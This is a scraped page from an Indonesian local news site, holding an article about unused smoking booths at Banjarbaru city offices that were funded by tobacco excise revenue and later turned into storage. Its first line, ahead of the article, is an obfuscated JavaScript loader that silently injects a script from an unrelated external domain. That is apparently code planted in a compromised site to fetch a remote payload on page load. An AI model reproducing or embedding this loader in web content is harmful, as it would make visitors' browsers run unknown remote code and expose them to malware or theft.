(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Fasilitas Umum

Ini Kondisi Bilik Merokok di Balaikota Banjarbaru


BANJARBARU, Pada tahun 2016 Pemkot Banjarbaru, melalui Dinas Kesehatan (Dinkes) membangun lima unit bilik merokok alias smoking area. Dua dari lima bilik merokok yang dibangun menggunakan dana bagi hasil cukai rokok, kiriman pemerintah pusat ini ada di lingkungan balaikota.

Sejatinya Balaikota ingin dijadikan wilayah perkantoran steril dari asap rokok menjadi dasar utama pembangunan bilik berukuran sekitar 3×3 meter ini.

Mirisnya, keberadaan bilik merokok menjadi ‘berhala’ hanya habiskan anggaran semata. Lantaran, sejak rampung dibangun, ruang khusus merokok itu nganggur. Ironisnya lagi, bilik beralih fungsi menjadi sebuah gudang. Pantauan Kanal Kalimantan sejumlah tumpukan kardus bekas menggunung di dalam bilik.

Terkait keberadaan bilik merokok yang menjadi ‘berhala’, Maulidah, Kepala Seksi (Kasi) Pengendalian Penyakit Tidak Menular dan Kesehatan Jiwa Dinkes Kota Banjarbaru membenarkan, pembangunan lima bilik merokok dilaksanakan oleh Dinkes Kota Banjarbaru melalui dana bagi hasil cukai rokok pemerintah pusat dua tahun lalu.

“Selain di Kantor Sekretariat Daerah, bilik merokok juga dibangun di Kantor Dinas Kependudukan dan Pencatatan Sipil, dan  di lingkungan Kantor Dinas Komunikasi dan Informatika,” kata Maulidah.

Namun terkait alih fungsi bilik untuk peruntukan lain, termasuk gudang, Maulidah mengatakan, Dinkes angkat tangan. Menurutnya, kewenangan Dinas Kesehatan hanya di tahap pembangunan. Karena setelah serah terima aset dilakukan, kewenangan ada di masing-masing Satuan Kerja Perangkat Daerah (SKPD) tempat bilik merokok berada.

Foto : devi

“Bilik merokok yang ada di lingkungan Dinas Komunikasi dan Informatika jika tidak salah juga beralih fungsi menjadi ruang siar. Karena sebelumnya sempat konsultasi ke kami untuk menggunakan ruangan bilik merokok untuk peruntukan lain. Namun karena kewenangan sebatas di tahap pembangunan, Dinkes tidak dapat bisa mengeluarkan rekomendasi untuk itu,” kata Maulidah.

Diakuinya, keberadaan bilik merokok sebagai upaya meminimalisir dampak buruk asap rokok di lingkungan kantor pemerintahan sempat disampaikan ke pemerintah pusat, dalam hal ini Kementerian Kesehatan RI. Namun berdasarkan berdasarkan arahan kementerian, konsep tepat mengurangi dampak buruk asap rokok justru dengan pola ruang terbuka.

Dengan catatan, kata Maulidah, di sekitar ruang terbuka tempat orang merokok tersebut banyak tumbuh pepohonan yang dapat mengubah bahaya dari asap rokok menjadi oksigen. (devi)

Reporter : Devi
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Jalinan Erat Silaturahmi Warga Sungai Besar dari Budaya Banjar “Balogo”

KANALKALIMANTAN.COM, BANJARBARU – Suasana riuh diiringi tawa gembira warga baik tua, muda, hingga anak-anak, larut… Read More

8 jam ago

Pelantikan Pengurus Wilayah Keluarga Besar PII Kalsel

KANALKALIMANTAN.COM, BANJARMASIN – 4 Mei diperingati Hari Bangkit (Harba) organisasi pelajar tertua di Tanah Air,… Read More

9 jam ago

Lesti Kejora Hingga Ria Ricis Siap Ramaikan Silet Awards 2024!

KANALKALIMANTAN.COM, - Ajang penghargaan paling dramatis dan paling sensasional yang ditunggu masyarakat, Silet Awards 2024… Read More

10 jam ago

Kontes Motor 2Tak “Entwosiastrokes Volume 2 2024” di Banjarbaru, Ajang Adu Para Modifikator Banua

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin mengapreasiasi penyelenggaraan event kontes motor "Entwosiastrokes… Read More

11 jam ago

Kali Pertama Airbus A340 Layani Jemaah Haji Embarkasi Banjarmasin

Penerbangan Kloter 1 Sempat Terlambat 30 Menit Read More

14 jam ago

100 Peserta Ramaikan Kejuaraan Catur se Kalteng Piala Pj Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Kejuaraan catur piala Pj Bupati Kapuas se Kalimantan Tengah dibuka oleh… Read More

17 jam ago

This website uses cookies.